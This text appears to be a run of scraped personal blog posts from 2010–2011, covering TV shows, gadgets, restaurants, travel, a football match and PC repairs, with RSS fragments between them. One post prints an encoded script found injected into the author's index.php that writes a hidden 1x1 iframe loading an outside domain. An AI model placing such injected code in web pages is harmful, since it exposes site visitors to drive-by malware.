There have been a lot of TV show cancelation lately, some of them were not bad. I also didn’t have time in the past few months to watch all the series I usually follow.

I downloaded a bunch of new shows and watched at least a few episodes from almost all of them. here is the list:

• An Idiot Abroad (2010)
• Body Of Proof (2011)
• Blue Bloods (2010)
• Breaking In (2011)
• Breakout Kings (2011)
• Camelot (2011)
• Community (2009)
• Detroit 1-8-7 (2010)
• Drew Cary’s Improve-A-Ganza (2011)
• End Game (2011)
• Game OF Thrones (2011)
• Justified (2010)
• Modern Family (2009)
• Outsourced (2010)
• Sherlock (2010)
• The Borgias (2011)
• The Event (2010)
• The Killing (2011)
• Treme (2010)

I am not that into customization of my PC’s due to the fact I format them every few months, because I love the “fresh start” feeling it gives me.

SO I wasn’t keen on trying Rainmeter, a Windows customization app the makes making your machine look the way you want as painless as possible. It gives you the ability to  customize the hell out of your PC.

The image above is of my desktop using one of Rainmeter’s default skins with a little extra tweaking.

Rainmeter [Link]

More Skins [Link]

At first, that was what I thought. Because it is the1st of April I thought it was just a prank by Google, as I only get the message above if I visit my site using Chrome.

But after digging through  a bit, it seems that my “index.php” file had the following script that triggered that warning.

< script >
enc = "%3Ciframe%20width%3D1%20height%3D1%20border%3D0%  20frameborder%3D0%20src%3D%27http%3A//trafusa.in/info/in.cgi%3F5% 27%3E%3C/iframe%3E";
dec = unescape(enc);
document.write(dec);
< /script >

After removing that I could visit the site without seeing the warning.

I have no idea how long that code was there or even of its important, but the site seems to work properly without it.

What we regularly do is just grill some Kobe beef burgers. They taste very good and its much easier than doing your own patty. But in the quest for the ultimate burger, you will have to do your own patty.

I really recommend trying to do your own burger, its fun and there is almost no way to do it wrong. Just experiment. For the best buns a reader recommended Fudd’s, and he was right. Their buns are great. They sell a regular size (150 fils) and a large size (200 fils) buns.

My patty had:

• Italian bread crumbs.
• Onions.
• Herbs.
• Minced beef with 15-20% fat .

]]> http://uptill1.com/2010/12/31/home-made-burgers/feed/ 3 http://uptill1.com/2010/12/29/little-rubys/ http://uptill1.com/2010/12/29/little-rubys/#comments Wed, 29 Dec 2010 10:03:34 +0000 N http://uptill1.com/2010/12/29/little-rubys/ Yesterday, me and my wife decided to have a late lunch/early dinner out. So my wife thought we should give “Ruby’s” a try after it being recommended to her by a friend.. I already read good things about the place so we decided to give it a shot.

The place is cosy and nice. It was completely empty when we got there, completely.

The menu is very simple and just had a few selections, 3 salads, 3 panini’s, 3 pastas and 3 burgers. I loved the idea. I hate flipping through the menu trying to figure out what to eat for 15 minutes.

We ordered the Mikey’s Madness Salad to share, Chicken and Mango Chutney Panini and I had the Bronte Burger.

The salad was ok, but the sandwiches were great. both sandwiches had a pleasant sweetness to them. And the burger was very light too.

Definitely a recommended place and surley going there again soon.

UPDATE:
Mark has a good map to the place you can find it [here]

More pics inside—->

You might remember back when I posted about the stupid DSLR ban that turned out to be just stupid journalism from a few individuals who people call “journalists”. Yes I mean you Al-Watan, Kuwait Times and Arab Times.

Anyway, in that article I posted that I had a DSLR and a couple of lenses held at customs. They arrived shortly after posting the article and I’ve been using them now for over a month now. I just love those 2 lenses. almost all of my blog post pics that I’ve posted were using those 2 lenses.

I’m planing to buy at least 1 more lens, need a zoom lens instead of the kit lens that I got with my previous (Sony Alpha 350) camera. I order a 18-250mm 3.5-6.3 lens and it should arrive any day now.

A list of features from their website:

- Aluminum housing

- Attractive non-battery look

- 7200mAh lithium ion battery

- Extend iPad battery life by up to 10 extra hours

- Fully recharge the iPhone up to 6 times – Extend talk time by up to 72 hours, standby time by up to 1800 hours, Internet use by up to 54 hours

- Extend video playback by up to 60 hours and audio playback by up to 180 hours

- 10W (5V/2.1A max) power via USB port- Recharge via standard (5V/500mAh) or high power 10W (5V/2.1A max) USB

- Supports pass through charging, charge both battery and iPad/iPhone/iPod at the same time- Military grade lithium ion cells, rechargeable up to 1,000 times

- Built-in short circuit, overcharging and temperature protection

- 1 year limited warranty

HyperMac Mini

The design of the building/structure is simply amazing, for me it might be the best looking external and internal building in the world. Also, the whole park is a covered building that is air conditioned which is a great idea due to the weather that we have here in the gulf.

The main reason we went there is to try out the world fastest roller-coaster the Formula Rossa. It uses a catapult mechanism similar to the ones that are used on aircraft carriers to make planes reach their takeoff speeds in short distances. The ride reaches a top speed of 240 kph from a stationary position in 4.9 seconds. Glasses are required for the first line of the first cart only.

Ticket prices are 225 AED for adults and 165 AED for children. The premium prices are 375/270 AED. The line for the Formula Rossa was 2 hours for the regular tickets and 50 mins for the premium ones.

There isn’t much to do in the park apart from the roller coasters and the simulation (which I highly recommend booking an appointment as soon as you enter the park). There are some decent restaurants and a handful of kids activities/rides.

First off, its a new breed of TV shows. I personally never followed a series that had any type of zombies in them. And because vampires are so 2008. The latest fad is zombies. You can find them anywhere and everywhere, and I’m not saying that thats a bad thing. What really got on my nerves when watching the show was the dialog. Its really tacky and it lacks any kind of sophistication. Some of the lines are just plain stupid. I can’t see the show maintaing its viewer numbers for over a season. Other than that, it’s pretty much entertaining.

Sorry for the late post……again, but I was a little busy these days.

Anyway, Happy Eid all.

The place was so dirty and full of sand. It clearly has never been cleaned ever since it was built. The screens in the stadium were not good at all, they were completely useless other than displaying the score and time. They didn’t even display the goal scorers.

What also was disappointing is that the pitch was horrible, it looked worse than almost any other football pitch in Kuwait. Qadsiya couldn’t play their beautiful fast paced flowing football O_o

II’ll think long and hard before going there again, unless I will see some proper football.

P.S. Qadsiya lost on penalties 4-2 after drawing 1-1 in the initial 90 minutes.

]]> http://uptill1.com/2010/11/07/hiyya-hiyya-mo-qadsiya/feed/ 2 http://uptill1.com/2010/11/04/its-alive/ http://uptill1.com/2010/11/04/its-alive/#comments Thu, 04 Nov 2010 11:29:20 +0000 N http://uptill1.com/2010/11/04/its-alive/ I posted previously about my Blackberry curve just dying on me the other day. thanks to the commenters and some quick online research I discovered that that means either the OS has failed or an app is causing all of this. I didn’t have time to do my research to fix it myself so I just went to a shop to fix it for me.

A friend recommended I go to a place called “” literarily translated to “Chinese Michael”. The shop has like a ton of variable disassembled phones everywhere. After showing him my device he said it will take 15 mins and KD. I didn’t mind at all I just wanted my device working again.

After 10 mins or so of strolling around a went back to the shop and my device was already waiting for me with an upgraded version of the os (OS 5) I never even thought of upgrading my blackberry cause I am loving it because of the physical keyboard and not it’s dull OS.

Sorry for the week without posting by the way.

After getting everything working I decided to rearrange all of the wiring behind my desk and tv (there is really a lot of wires). After tidying up everything re-pluging the devices back, one of the latest pieces of hardware I bought was a RAID Tower that was connected to my WHS to get extra storage. And because it was one of the newest gizmos I didn’t have have any free power sockets left and decided to plug it into my voltage converter since the tower can handle either 120V or 240V via a switch in the back. But I have forgotten about the switch when re-arranging the wires and when I flipped the power switch I heard a loud POP sound and immediately realized I screwed up.

FACEPALM

I will be taking the tower to an electrician to see if it can be salvaged. The good news is that the data duplication on my WHS is awesome and everything is working fine just from the WHS itself and no missing files (as far as I can tell).

Well after fotor I took my PC to Hawally and the first 3 or 4 shops didn’t want to even touch my PC saying that they don’t have similar parts and so the wont even open the case. After they directed me to go to a certain shop. He told me to leave the PC and the installation CD’s with him and he’ll get back to me. I didn’t have the cd’s with me so I decided to take the PC back the next day with the discs. And also after removing any personal files I had on the PC.

After cleaning up one of the HDD’s I thought why wouldn’t I just try doing a clean installation on that drive to see if it works to just really make sure its a hardware and not a software issue. After installation everything worked just fine. The problem turned out to be with windows’s page file copying it self in 2 different locations.

Anyway everything is running smoothly now Thank god.

Not pictured is the new iPhone 4 from an iPhone 3G that I had for a few weeks now and will do a post about my impressions so far. And also exchanged my 32GB wifi iPad with a 64GB WiFi/3G one. I don’t even know why I bought the 3G version as I’m using my beloved Nexus One as my mobile hotspot.

But is the process complete? with the imminent release of the new Blackberries and the all new Windows Phones, this hobby is getting really expensive.

After upgrading what I miss most is battery life, I usually have at least 5 hours per charge on my 13″ MBP but I’m lucky if I get 2:30 on my new 15″. same with the iPhone 4, cant see any trace of the new over-sized battery as my phone dies even quicker now.

The Madinah fotoor was great, I went to the Al-Masjid Al-Nabawi 45 minutes before Maghreb prayer to read some Quran and pray.When I entered and was looking for a place to pray I didn’t find a place at all. At first I thought that it was just the section I’m in, but after walking around for the next half an hour I realized that the whole mosque has been converted to the biggest dining hall ever. I mean the whole time I was walking around looking for a place to pray, I was invited to have a seat and join them for fotoor. With 10 mins left till Maghreb prayer I just gave up and sat in the next available seat. After athan in 10 minutes the place was spotless and there was no sight of anything to do with food and all were ready to pray.

After 1 night at Al-Madina we drove to Mecca for Umrah. It was a 4 hour drive to mecca and could see the huge new clock from a few kilometers away. It was hot and humid but not undoable.

During Friday prayer it was so crowded that people even managed to fill the mall thats in front of Al-Haram. Not just that but all 3 floors of it.

I didn’t know that Taking pictures in both Al-Haram and Al-Masjid Al-Nabawi is not allowed. but there was still people taking pictures. Most of my pics were during night time, I didn’t have any intention of carrying around my camera while the sun was still shining.

Then a few days later, my PC started to act strangely. I would get BSOD from time to time.I thought it was due to overheating so I opened up the case and did my annual PC cleaning (without the usual formatting) and it worked fine for a while. Then it happened again and couldn’t get it to work after that. This time I suspect that my GPU is fried. I will be going to Hawally tomorrow to check if its really the video card and look for a replacement if needed.

After getting the PC fixed I will look into the server issue, and hope my data is still salvageable.

The 1 mile trip took us 2.5 hours to complete. The weather was great and the place was packed, a little too packed actually, going to the horseshoe and back home took 2 hours each way (usually 1 hour) but still, had fun.

The funny thing was, on the flight to Dallas me and my friend were the only 2 people on the plane. Really I’m not joking, they operated the flight just for us and made us sit in the last row too.

The stewardess even suggested that we share a can of coke. The flight was 20 mins to Dallas and then 45 mins from Dallas to San Antonio.

We order some stuffed mushrooms and shrimp bruschetta’s for starters and the Admiral’s Feast to share and a lobster tail each.

The starters were good and the tails were very nice but the Admirals Feast wasn’t that great , I would recommend staying away from that.